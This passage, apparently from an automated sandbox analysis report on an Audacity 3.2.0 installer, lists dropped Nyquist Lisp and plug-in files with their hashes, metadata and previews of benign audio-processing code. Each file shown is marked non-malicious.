Preview:	;;; ********************************************************************..;;; Copyright (C) 2006 Rick Taube..;;; This program is free software; you can redistribute it and/or ..;;; modify it under the terms of the Lisp Lesser Gnu Public License...;;; See http://www.cliki.net/LLGPL for the text of this agreement...;;; ********************************************************************....;;; $Revision: 1.2 $..;;; $Date: 2009-03-05 17:42:25 $....;; DATA STRUCTURES AND ALGORITHMS (for sal.lsp and parse.lsp)..;;..;; TOKENIZE converts source language (a string) into a list of tokens..;; each token is represented as follows:..;; (:TOKEN <type> <string> <start> <info> <lisp>)..;; where <type> is one of:..;; :id -- an identifier..;; :lp -- left paren..;; :rp -- right paren..;; :+, etc. -- operators..;; :int -- an integer..;; :float -- a float..;; :print, etc. -- a reserved word..;; <string> is the source string for the token..

C:\Program Files\Audacity\Nyquist\seq.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14703
Entropy (8bit):	4.540518937355527
Encrypted:	false
SSDEEP:	192:zyUENJv0SeUA2a+0GegOyUQ+LkwCmtq15eXxyPw8t:3ENpCF2a8bOvQ+AwFt04X98t
MD5:	46AC77CAA7B752493EB576BB9B807563
SHA1:	262156857F4AB5F15E9599418C04329B316E813B
SHA-256:	B481AAFB6F53D0773DD6EF3F1E70D5C9F5DE615273EAAFC6D4B103E0126B637A
SHA-512:	D8E8883C948C5C6DC91A69E36F477C1E15213C8E51B44D093210AA4FA1D9C3B6E3091F4347630D28085A597CCF8D5A55ECE5062B5F15E1E96AC05F0E0D4034C0
Malicious:	false
Preview:	;; seq.lsp -- sequence control constructs for Nyquist....;; get-srates -- this either returns the sample rate of a sound or a..;; vector of sample rates of a vector of sounds..;;..(defun get-srates (sounds).. (cond ((arrayp sounds).. (let ((result (make-array (length sounds)))).. (dotimes (i (length sounds)).. (setf (aref result i) (snd-srate (aref sounds i)))).. result)).. (t.. (snd-srate sounds))))....; These are complex macros that implement sequences of various types...; The complexity is due to the fact that a behavior within a sequence..; can reference the environment, e.g. (let ((p 60)) (seq (osc p) (osc p)))..; is an example where p must be in the environment of each member of..; the sequence. Since the execution of the sequence elements are delayed,..; the environment must be captured and then used later. In XLISP, the..; EVAL function does not execute in the current environment, so a special..; EVAL, EVALHOOK

C:\Program Files\Audacity\Nyquist\seqfnint.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.395540302542674
Encrypted:	false
SSDEEP:	24:SLkcO4N3+ZDHQG5Yk+36sB31m8evLVZ8/NebLRm2DgoU:SLkcO4NOZDwIYk+3VlmTvL8/Neb9rDgF
MD5:	DFA117281538AB8C1E14F418A752AA16
SHA1:	7064FB84C3DE98DADD2D2DB0898C2F3E75566C0A
SHA-256:	42C0AE55A3DE8E1233AF929742A26AA3957EDAF6673D0ED5AE3346FCE43C2CCA
SHA-512:	ECF800D8169A07361345D53DC6B6BAA1A9376E55467C5AEE614BEBE24D2C59D5048C36FED385C3F304F2461A42EAA4E0EFBB7F6094BF1152EAEA446372E21324
Malicious:	false
Preview:	.. (setfn seq-tag first).. (setfn seq-time second).. (setfn seq-line third).. (setfn seq-channel fourth).. (defun seq-value1 (e) (nth 4 e)).. (setfn seq-pitch seq-value1) ; pitch of a note.. (setfn seq-control seq-value1) ; control number of a control change.. (setfn seq-program seq-value1) ; program number of a program change.. (setfn seq-bend seq-value1) ; pitch bend amount.. (setfn seq-touch seq-value1) ; aftertouch amount.. (defun seq-value2 (e) (nth 5 e)).. (setfn seq-velocity seq-value2) ; velocity of a note.. (setfn seq-value seq-value2) ; value of a control change.. (defun seq-duration (e) (nth 6 e)).. .... (setf seq-done-tag 0) .... (setf seq-other-tag 1) .... (setf seq-note-tag 2) .... (setf seq-ctrl-tag 3) .... (setf seq-prgm-tag 4) .... (setf seq-touch-tag 5) .... (setf seq-bend-tag 6) ....

C:\Program Files\Audacity\Nyquist\seqmidi.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6747
Entropy (8bit):	4.372156764070245
Encrypted:	false
SSDEEP:	96:zEpHkPdcw0D4cFSFUFsLFsFvE8N5FwFxE8j7vF7kxkKkkvkVFmFPwApEQFLGQGSY:zcwcwnZ4lqE8j7MwApEmGOY
MD5:	B76BCBB978AE00AE0BE513BB31E8307C
SHA1:	A386A7C6DD81015AF8516C623DA4B54FA9FC9192
SHA-256:	B7BD8CCFBB929AC7C02064917745A1A759C48AA07AF491F75EB0787093C99834
SHA-512:	873B6677FE1D3FE150EC347DD65D3037A1B3E49853BEB246919C51245BAE0D6075EC743BC61B02062C9FF0831B03FBDE5075143F8A5D13DE7AA52BDA6A39A1EF
Malicious:	false
Preview:	;; seqmidi.lsp -- functions to use MIDI files in Nyquist..;..; example call:..; ..; (seq-midi my-seq..; (note (chan pitch velocity) (= chan 2) (my-note pitch velocity))..; (ctrl (chan control value) (...))..; (bend (chan value) (...))..; (touch (chan value) (...))..; (prgm (chan value) (setf (aref my-prgm chan) value))....;; seq-midi - a macro to create a sequence of sounds based on midi file..;..; ..(defmacro seq-midi (the-seq &rest cases).. (seq-midi-cases-syntax-check cases).. `(let (_the-event _next-time _the-seq _seq-midi-closure _nyq-environment .. _the-seq _tag).. (setf _the-seq (seq-copy ,the-seq)).. (setf _nyq-environment (nyq:the-environment)).. (setf _seq-midi-closure #'(lambda (t0).. (format t "_seq_midi_closure: t0 = ~A~%" t0) ;DEBUG.. (prog (_the-sound)..loop.; go forward until we find note to play (we may be there).. ; then go forward to find time of next note.. (setf _the-event (seq-get _the-seq)).. ; (display

C:\Program Files\Audacity\Nyquist\sliders.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8647
Entropy (8bit):	4.616184397613145
Encrypted:	false
SSDEEP:	192:zLIegqx44EgrEA8GMoVs5czd272t2u34Epb:nIeppsod272t2u3DR
MD5:	E36ECE90F44128520D061BD7CEC9E1A7
SHA1:	048E1E8E49943C4D6EF5B69FFF687A19E77E4DF2
SHA-256:	9216F975F8DAC6C47791784897032E06C4BD1316A313681F9388D37B2FE3ACFB
SHA-512:	6AFCC5910C75592DBAA2DEAEDB88D19ED95B02177D529B6F38A3224862752FDC45866CDE983F418CCB58723DC421117A4694EBED4FEB8041C5875C1A0B58E2AB
Malicious:	false
Preview:	;; sliders.lsp -- communicate with NyquistIDE to implement control panels..;; Roger B. Dannenberg..;; April 2015....;; (stop-on-zero s) -- a sound that returns 1 until s goes to zero, then..;; the sound terminates. If s comes from a slider and you multiply..;; a sound by (stop-on-zero s), you can interactively stop it..;; (make-slider-panel "name" color) -- sets panel name for the following..;; sliders..;; (make-slider "param" [initial [low high]]) -- create slider named ..;; "param" with optional range and initial value. Also returns..;; a sound...;; (make-button "param" normal) -- create a button named "param" with..;; a starting value of normal (either 0 or 1). While the button..;; in the panel is pressed, the value changes to 1 or 0...;; (get-slider-value "param") -- when called with a string, this looks up..;; the slider value by name..;; (slider-panel-close "name") -- close t

C:\Program Files\Audacity\Nyquist\sndfnint.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1339
Entropy (8bit):	4.677218138520122
Encrypted:	false
SSDEEP:	24:0QkCg4gLgIgWgXBFjgwgNg1gDEgmvgvfgv9g5g5gWfgkgIgg2gTjgsvgugmgfgps:0Q7g4gLgIgWgXBFjgwgNg1gDEgmvgXg2
MD5:	3394FF9902324286BD6471F8BB9F446B
SHA1:	E47FF9EFA558244F1693A90F804EAAB43DC82A04
SHA-256:	A117658707F6E507776F2ADF318627879CE55B4E4229494561848295C64823AF
SHA-512:	C24DE9979F40DEE955AD98B8CB04E09FEB74DF0FE3032DE10AF81D8723C68882A7014B38E8EBD4EB1A5D0C322D73D9D3085CC8F3C9DF189E66B0408B45BF5E97
Malicious:	false
Preview:	(SETF MAX-STOP-TIME 10E20) .... (SETF MIN-START-TIME -10E20) .... (setf OP-AVERAGE 1) (setf OP-PEAK 2) .... (setf snd-head-none 0) .... (setf snd-head-AIFF 1) .... (setf snd-head-IRCAM 2) .... (setf snd-head-NeXT 3) .... (setf snd-head-Wave 4) .... (setf snd-head-PAF 5) .... (setf snd-head-SVX 6) .... (setf snd-head-NIST 7) .... (setf snd-head-VOC 8) .... (setf snd-head-W64 9) .... (setf snd-head-MAT4 10) .... (setf snd-head-MAT5 11) .... (setf snd-head-PVF 12) .... (setf snd-head-XI 13) .... (setf snd-head-HTK 14) .... (setf snd-head-SDS 15) .... (setf snd-head-AVR 16) .... (setf snd-head-SD2 17) .... (setf snd-head-FLAC 18) .... (setf snd-head-CAF 19) .... (setf snd-head-raw 20) .... (setf snd-head-OGG 21) .... (setf snd-head-WAVEX 22) .... (setf snd-head-channels 1) .... (setf snd-head-mode 2) .... (setf snd-head-bits 4) .... (setf snd-head-srate 8) .... (setf snd-head-dur 16) .... (setf snd-head-latency 32) .... (setf snd-head-type 64) .... (setf snd-mode-adpcm 0) .... (setf snd-m

C:\Program Files\Audacity\Nyquist\spec-plot.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2190
Entropy (8bit):	4.597461206135219
Encrypted:	false
SSDEEP:	48:zqHSrrS5MSwD4yYLYCaTfSWgF5CFZFHao/qeF0TwFNuIJFwwyFNNKcFQvZFVlFig:zqH8rB7DZfCoqWgF5CFZFHGeF0TwF8IJ
MD5:	CB075F0C31BD04D81E0DEE9B6262A8F9
SHA1:	AF8D68BE4E9B7AE678AC872CD476060A2DE75E23
SHA-256:	3F79E8FF407554FE713822B0D73005CBAE15BC5AE7E1388D0A2A990901BE2DE1
SHA-512:	D9953A68BE8850CD18C4C511AC3F1B188793D288F45D64B764945B546013DB6C099F875557CF16086EC539D6AEEDD356866FB3835FFD61948B8B026E982E3085
Malicious:	false
Preview:	;; spec-plot.lsp -- spectral plot function..;;..;; Roger B. Dannenberg, May 2016..;;....(setf spec-plot-bw 8000.0) ;; highest frequency to plot (default)..(setf spec-plot-res 20.0) ;; bin size (default)..(setf spec-plot-db nil) ;; plot dB? (default)....;; We want to allow round-number bin-sizes so plot will be more readable..;; Assuming 20Hz as an example, the FFT size would have to be..;; 44100/20 = 2205, but that's not a power of 2, so we should resample..;; the signal down so that the FFT size is 2048 (or up to 4096). This..;; would result in sample rates of 204820 = 40960 or 81120. We should..;; pick the smaller one if it is at least 2x spec-plot-bw.....(defun spec-plot (sound &optional offset &key (res spec-plot-res).. (bw spec-plot-bw).. (db spec-plot-db*)).. (ny:typecheck (not (soundp sound)).. (ny:error "SPEC-PLOT" 1 '((SOUND) nil) sound)).. (ny:typecheck (not (or (null

C:\Program Files\Audacity\Nyquist\spectral-analysis.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10375
Entropy (8bit):	4.670890040006653
Encrypted:	false
SSDEEP:	192:zf6fxFZdnuuAHPczZtegbkdP47vqcdq4WaEQphocVXU3ZGTdqWJ:ODZdnB3ekv3IQDhMGIWJ
MD5:	402239F07A5F7042A3EA7B35A51D2722
SHA1:	495F376131A08D0D557E3D0171F5E6992031EAD9
SHA-256:	A3A16E55300AEA401ECF550C7D245A6638C3B4C74234DA37570AA2A9C4FD9499
SHA-512:	4777CF6D0A275907F0617A978B74B30598D213AF82A48736BDD8E58B8957963F32C538266EA57405562B765444CA7F399423EDD5D74127FC79189E599A920263
Malicious:	false
Preview:	;; spectral-analysis.lsp -- functions to simplify computing..;; spectrogram data..;;..;; Roger B. Dannenberg and Gus Xia..;; Jan 2013, modified Oct 2017....;; API:..;;..;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;..;; set sa-obj = sa-init(resolution: <nil or Hz>,..;; fft-dur: <nil or seconds>,..;; skip-period: <seconds>,..;; window: <window type>, ..;; input: <filename or sound>)..;; ..;; sa-init() creates a spectral-analysis object that can be used..;; to obtain spectral data from a sound...;;..;; resolution is the width of each spectral bin in Hz. If nil of..;; not specified, the resolution is computed from fft-dur. ..;; The actual resolution will be finer than the specified ..;; resolution because fft sizes are rounded to a power of 2...;; fft-dur is the width of the FFT window in seconds. The actual..;; FFT size will be rounded up to the nearest power of two..;; in samples. If nil, fft-du

C:\Program Files\Audacity\Nyquist\stk.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7382
Entropy (8bit):	4.803108768297777
Encrypted:	false
SSDEEP:	96:zGTyY4Pu+1h1AFeF+F+Fj8hddi81AFeF+FPEFXvKhZLjtCxCZCNCQhsIg3BDduFj:zGmY4Pu0FgdVG+7Q40QngxAORosEqdWT
MD5:	614518C236FE29D364A00BF83425FCC4
SHA1:	07FC9FF30EAB4CFF854CD93ADB04FE4B414775AB
SHA-256:	99B9D973BF93A32AFBEB4EDCF2C8C05A02F4164F3C02B2E8ED5D244044137C2A
SHA-512:	512C70FC38F6ADD097156F2BF2D910D80AA33FEC761D06BB765DE0A9D3B35B813FABCB4BA6EDAC15A7290502847690A856074FFC3C8C664691312EB72890F00A
Malicious:	false
Preview:	;; stk.lsp -- STK-based instruments..;;..;; currently clarinet and saxophony are implemented....(defun instr-parameter (parm).. ;; coerce parameter into a sound-srate signal.. (cond ((numberp parm).. (stretch 30 (control-srate-abs sound-srate (const (float parm))))).. (t.. (force-srate sound-srate parm))))......(defun clarinet (step breath-env).. (snd-clarinet (step-to-hz step) (force-srate sound-srate breath-env) sound-srate))......(defun clarinet-freq (step breath-env freq-env).. ;; note that the parameters are in a different order -- I defined .. ;; clarinet-freq this way so that the first two parameters are always.. ;; step and breath. I didn't redo snd-clarinet-freq... (snd-clarinet_freq (step-to-hz step) .. (instr-parameter breath-env).. (instr-parameter freq-env).. sound-srate))........(defun clarinet-all (step breath-env freq-env vibrato-freq vibrato-gain reed-stiffness noise).. ;; note that

C:\Program Files\Audacity\Nyquist\system.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4258
Entropy (8bit):	4.7746867057173175
Encrypted:	false
SSDEEP:	96:bMPxkSFPDuSkHCkqFPpk6FPjkbFPjkzFPL0FPO2RJ8Aaur/Lme1FM3F8RKQFbM9G:iGoDuPHfwuAgZghiOYWAaur/K2RKho
MD5:	E42E4D247DDC00E452A9DD3B3E491E45
SHA1:	3EFD8E83BBD3269764FA269C50BFCB158F73111B
SHA-256:	A1014A9F8CE0AF1AFB4B8B215C85E08F5EAEB1E5FE52342910A88C05E644B55B
SHA-512:	FBE7060A63A4552F791A8CF47F3F39C96AFE9D912CE0E5C2EA563194BAAC4A1114704A6E3DCEFE18F9CC6C815CC721A4353B4CC37B402F35DF8C3578C829353C
Malicious:	false
Preview:	; machine.lsp -- machine/system-dependent definitions..; Windows....;; default behavior is to call SETUP-CONSOLE to get large white typescript..;;..;; set setup-console to nil in your personal init.lsp to override this behavior ..;; (this may be necessary to work with emacs)..;;..(if (not (boundp 'setup-console)) (setf setup-console t))..(if setup-console (setup-console))....(if (not (boundp 'default-sf-format)).. (setf default-sf-format snd-head-Wave))....(if (not (boundp 'default-sound-file)).. (compute-default-sound-file))....(if (not (boundp 'default-sf-dir)).. (setf default-sf-dir ""))....(if (not (boundp 'default-sf-mode)).. (setf default-sf-mode snd-mode-pcm))....(if (not (boundp 'default-sf-bits)).. (setf default-sf-bits 16))....(if (not (boundp 'default-plot-file)).. (setf default-plot-file "points.dat"))....;(if (not (boundp 'plotscript-file))..; (setf plotscript-file "sys/unix/rs6k/plotscript"))....; local definiti

C:\Program Files\Audacity\Nyquist\test.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1181
Entropy (8bit):	4.438724820024348
Encrypted:	false
SSDEEP:	24:hmN20Wm1gJospoCizk+2r7d04FKeRkXdVeyRV5WC8ST:obA7izkbxFK5zRVQC8A
MD5:	9CC13FED2BC804CC7B6C121BDF1F0DE5
SHA1:	B421E34C22A94FAFEB302A42D6BC91CFC131FA54
SHA-256:	E77A8A12E56379DE05FB1C0443084C83EC414942C0E50C1A1443EAD5F2B00609
SHA-512:	595B925967005CC44A2DF786D4B0223275EE43F68EF5951C66130EA5E3F19C3026B681190A265A35B0EC50A6EE04C8A4BD2DF30E597F890A1B03E5FECD10A31A
Malicious:	false
Preview:	..(defun ss () (osc c5))....(defun tt () (stretch 2 (snd-tapv (ss) 1.1 (scale d (lfo 10)) 2.2)))..(setf d .01)....(defun g () (play (tt)))....;(set-sound-srate 10)..;(set-control-srate 10)..(defun rr () (stretch 10 (ramp)))..(defun ll () (stretch 10 (lfo .5)))..(defun xx () (snd-tapv (rr) 1.1 (ll) 2.2))..(defun h () (snd-samples (xx) 150))....(defun chorus (sound maxdepth depth rate saturation).. (let ((modulation (prod depth (stretch-abs 10000.0 (general-lfo rate)))).. (offset (/ maxdepth 2.0)).. chor).. (setf chor (snd-tapv sound offset modulation maxdepth)).. (sum (prod chor saturation) (prod (seq (s-rest offset) sound).. (sum 1.0 (prod -1.0 saturation))))))......(set-sound-srate 22050.0)....(defun f ().. (chorus (s-read "runtime\\ah.wav") .1 .1 1 .5))....(defun e ().. (seq (s-rest .05) (chorus (s-read "rpd.wav") .07 .07 .7 .5)))....(defun d () (sum (e) (f)))....(defun rou () (s-read "round.wav" :time-offset 1.18 :dur

C:\Program Files\Audacity\Nyquist\velocity.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	519
Entropy (8bit):	4.783355756334875
Encrypted:	false
SSDEEP:	12:z2QRoZduvTpnKIg6R6TcpLFHtoIOJSTTQIUFHHOfaor1qLEE0:zBvTpnkpgpLFVTTQIUFOfPo4d
MD5:	FC36CA336643E896368EA07B60DF3B64
SHA1:	42B0A812672280C06701EFA873557F335691D2C4
SHA-256:	508802AE5D5ACC52C851F6F88D3FAA53DC87C65047052A809D6838CA8441BBA5
SHA-512:	6C2DD742C07D1B58CE6F18028EFF299BB7E8D7B3771AE90C0B910C4E526404EEF0255A6DCD2397F7B5AC8A631241F9E48BDC644293415D20509DCF4CAEC4490A
Malicious:	false
Preview:	;; velocity.lsp -- conversion routines for MIDI velocity..;;..;; Roger B. Dannenberg..;; July, 2012......(defun db-to-vel (x &optional float).. (linear-to-vel (db-to-linear x) float))......(defun linear-to-vel (x &optional float).. (setf x (/ (- (sqrt (abs x)) 0.0239372) 0.00768553)).. (cond (float x).. (t.. (setf x (round x)).. (max 1 (min 127 x)))))......(defun vel-to-db (v).. (linear-to-db (vel-to-linear v)))......(defun vel-to-linear (v).. (power (+ (* v 0.00768553) 0.0239372) 2))..

C:\Program Files\Audacity\Nyquist\xlinit.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	4.76395540839255
Encrypted:	false
SSDEEP:	48:z7LDLAxo5cDiE5EhYD0FvsTz6PtxltlBcL3AV2:z7XDE5u3NPrs
MD5:	2D8AAD43D076AA46C464F5C90D9AA81B
SHA1:	04C8ED5BCFE203140782619DD91BF2736117E4CB
SHA-256:	0F12C09F6B18F3A30B8C0E98C17BB602C1332FBB10BF17162802B0566EBD349A
SHA-512:	FEE50C22B83EA12E64EDB7AE9CE4B16DB20DB773B0E80778E62F917D887F333DC7A9CBE8180E9CDD2621FB239671C058DF2B18FB401389B4CE86265D021F7AD3
Malicious:	false
Preview:	;; xlinit.lsp -- standard definitions and setup code for XLisp..;;......(defun bt () (baktrace 6))....(defmacro setfn (a b) .. `(setf (symbol-function ',a) (symbol-function ',b)))....(setfn co continue)..(setfn top top-level)..(setfn res clean-up)..(setfn up clean-up)....;## display -- debugging print macro..;..; call like this (display "heading" var1 var2 ...)..; and get printout like this:..; "heading : VAR1 = <value> VAR2 = <value> ...<CR>"..;..; returns:..; (let ()..; (format t "~A: " ,label)..; (format t "~A = ~A " ',item1 ,item1)..; (format t "~A = ~A " ',item2 ,item2)..; ...)..;..(defmacro display-macro (label &rest items).. (let ($res$).. (dolist ($item$ items).. (setq $res$ (cons.. `(format t "~A = ~A " ',$item$ ,$item$).. $res$))).. (append (list 'let nil `(format t "~A : " ,label)).. (reverse $res$).. '((terpri)))))......(defun display-on () (setfn display display-

C:\Program Files\Audacity\Nyquist\xm.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	103012
Entropy (8bit):	4.396526463609699
Encrypted:	false
SSDEEP:	1536:+bD78ksXyMwsVSTAysnPz06W1VVzd++3IEPlxkrrReBLAnmSy6Inn:+H7PMBVSns706W1V/Rqnmj6Inn
MD5:	0875677737F1D15AAEBC56B97D895A3B
SHA1:	D63EC81DCF701B59F71BBAA9431C447CCFF0F417
SHA-256:	D842A3FB17C246B1DACEE52969C7F7DE65660358CE5D03D906D35CB1A119CE32
SHA-512:	E4265BF263C9A1E7A8C45F88F18EF5C827890AF9BE3DE6EDFAA394BCDA88049D59B21E2398BADD966E16ECC6CC24EA2A032DEE4E5436BF91FF2D5214E9A78778
Malicious:	false
Preview:	;; X-Music, inspired by Commmon Music....#\|..PATTERN SEMANTICS....Patterns are objects that are generally accessed by calling (next..pattern). Each call returns the next item in an infinite sequence..generated by the pattern. Items are organized into periods. You can..access all (remaining) items in the current period using (next pattern..t). ....Patterns mark the end-of-period with +eop+, a distinguished atom. The..+eop+ markers are filtered out by the next() function but returned by..the :next method. ....Pattern items may be patterns. This is called a nested pattern. When..patterns are nested, you return a period from the innermost pattern,..i.e. traversal is depth-first. This means when you are using something..like random, you select a random pattern and get an item from it. The..next time you handle :next, you get another item from the same pattern..until the pattern returns +eonp+, which you can read as "end of nested..pattern". Random would then advance to the next random patt

C:\Program Files\Audacity\Plug-Ins\SpectralEditMulti.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2757
Entropy (8bit):	4.646471166397133
Encrypted:	false
SSDEEP:	48:zBtPvCyCBgrxHjAKy+9fES5f9/IjLC3rxELV1UblJNJzydYFev:Ky8gr+BguqqEblJNJzBFev
MD5:	F40904E0D3E67D7BAB4CF5B3A39F7C18
SHA1:	0843D06D63D98ADA69DB1DCC05D603CA48BCC2BC
SHA-256:	F0349FBCDB90E9DD92F6789FA0D9B9D01ECC03EF5E944C7D90BE0C97B0558E79
SHA-512:	886359CF972EA914206ED9B2FFEB0946EA00DA37835C7D7792342EE558D62F248A6DFDCC118731A22D2D56A2A37073DDFAB6E3116F7810B40F5C0A7918C2E190
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process spectral..$name (_ "Spectral Edit Multi Tool")..$author (_ "Paul Licameli")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0")....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....;; SpectralEditMulti.ny by Paul Licameli, November 2014...;; Updated by Steve Daulton 2014 / 2015.......(defun wet (sig f0 f1 fc).. (cond.. ((not f0) (highpass2 sig f1)).. ((not f1) (lowpass2 sig f0)).. (T (let ((q (/ fc (- f1 f0)))).. (notch2 sig fc q)))))....(defun result (sig).. (let* ((f0 (get 'selection 'low-hz)).. (f1 (get 'selection 'high-hz)).. (fc (get 'selection 'center-hz)).. (bw (get 'selection 'bandwidth)).. (tn (truncate len)).. (rate (snd-srate sig)).. (transition (truncate (* 0.01 rate))) ; 10 ms..

C:\Program Files\Audacity\Plug-Ins\SpectralEditParametricEQ.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2827
Entropy (8bit):	4.682119603574164
Encrypted:	false
SSDEEP:	48:IpdPvCyCBjrdQCALyolRG6l59zsjL6shK8GX+v2mHlEBMv/dYFj0Dy:I6y8jrdQ5e66vkPueuvqFj0W
MD5:	59F80CBF169A99DACE8C92B244B93E06
SHA1:	2D27FA6A21317B72BB946ED55EBE21787C9B4177
SHA-256:	BD96ACB350B9ECEFC2C832E21E8F86A46887E6224ACA1760869E88D3D885842D
SHA-512:	7CEBC5F84FECD845434E920D85AF57607E8FB4A54DFCD823C257F6066DAF7895E1024195CD21F89D21CD31EE87AF506158668CC9F557FAA4A325B38DC14A6D4D
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process spectral..$preview linear..$name (_ "Spectral Edit Parametric EQ")..$manpage "Spectral_edit_parametric_EQ"..$debugbutton false..$author (_ "Paul Licameli")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0")....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....;; SpectralEditParametricEQ.ny by Paul Licameli, November 2014...;; Updated by Steve Daulton 2014 / 2015.......$control control-gain (_ "Gain (dB)") real "" 0 -24 24....(defun wet (sig gain fc bw).. (eq-band sig fc gain (/ bw 2)))....(defun result (sig).. (let.. ((f0 (get 'selection* 'low-hz)).. (f1 (get 'selection 'high-hz)).. (fc (get 'selection 'center-hz)).. (bw (get 'selection 'bandwidth)).. (tn (truncate len)).. (rate (snd-srate sig)).. (transition (tr

C:\Program Files\Audacity\Plug-Ins\SpectralEditShelves.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2751
Entropy (8bit):	4.674316894806004
Encrypted:	false
SSDEEP:	48:ICryfyCBhrdkFDzRiqwq5396jALyxlRG6l59zsjL6swlhBMmszdYFj0Dy:IDy8hrdkFDl5T48eX6vGc1uFj0W
MD5:	10FF6A3BBBDB3A48036522C0713076AA
SHA1:	F626CB20DEB7F74F49B8DD9B67EE861E27889E50
SHA-256:	10FB894A7B0D25BFBAA542B0A0F7C013CBFAE61D3F132C669CFC05D1AB849D30
SHA-512:	7E81783B8A71D44610309D825CAF10B9EF9CE74342D73BD2F681FDDB70CC467C7E15597BAFAA2F1C9828E4AB470182F2C15E2770CC663208D66B6F384BD3BBE5
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process spectral..$preview linear..$name (_ "Spectral Edit Shelves")..$manpage "Spectral_edit_shelves"..$debugbutton false..$author (_ "Paul Licameli")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....;; SpectralEditShelves.ny by Paul Licameli, November 2014...;; Updated by Steve Daulton 2014 / 2015.......$control control-gain (_ "Gain (dB)") real "" 0 -24 24....(defmacro validate (hz).."If frequency is above Nyquist, don't use it".. `(if (or (>= ,hz (/ sound-srate 2.0)).. (<= ,hz 0)).. (setf ,hz nil)))....(defun mid-shelf (sig lf hf gain).. "Combines high shelf and low shelf filters".. (let ((invg (- gain))).. (scale (db-to-linear gain).. (eq-highshelf (eq-lowshelf sig lf

C:\Program Files\Audacity\Plug-Ins\StudioFadeOut.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1302
Entropy (8bit):	4.879492940131021
Encrypted:	false
SSDEEP:	24:z+nvjckLZhTYPnxkCBoy/DtZpe7rlBCDlcV4MpBC+XnIW9Fq:zcr7lYfyCBba2s4oPXr9Q
MD5:	9E328423F69AD77B31F0C38CA9B5E8D3
SHA1:	7D6D162B0B26BB5A4D0083A9C5CEA41AB2C165A6
